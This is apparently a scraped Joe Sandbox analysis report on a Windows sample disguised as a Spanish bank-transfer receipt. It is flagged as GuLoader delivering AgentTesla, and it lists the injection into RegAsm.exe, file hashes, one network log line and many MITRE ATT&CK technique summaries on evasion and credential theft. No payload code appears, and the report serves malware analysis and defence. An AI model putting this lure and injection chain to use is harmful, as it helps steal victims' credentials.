Sep 29, 2021 21:28:13.400252104 CEST	25	49843	212.227.15.158	192.168.11.20	220 OK

Code Manipulations

Statistics

Behavior

• justificante de la transfer.exe
• RegAsm.exe
• conhost.exe

Click to jump to process

System Behavior

Analysis Process: justificante de la transfer.exe PID: 8092 Parent PID: 4760

General

Start time:	21:25:46
Start date:	29/09/2021
Path:	C:\Users\user\Desktop\justificante de la transfer.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\justificante de la transfer.exe'
Imagebase:	0x400000
File size:	126976 bytes
MD5 hash:	326F29A347549E64C9510A1E0BD6D043
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.87113936243.00000000022C0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

File Activities

Analysis Process: RegAsm.exe PID: 5360 Parent PID: 8092

General

Start time:	21:26:15
Start date:	29/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\justificante de la transfer.exe'
Imagebase:	0xf50000
File size:	53248 bytes
MD5 hash:	A64DACA3CFBCD039DF3EC29D3EDDD001
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

General

Start time:	21:26:15
Start date:	29/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff730f80000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

File Activities

Disassembly

Code Analysis

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report justificante de la transfer.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre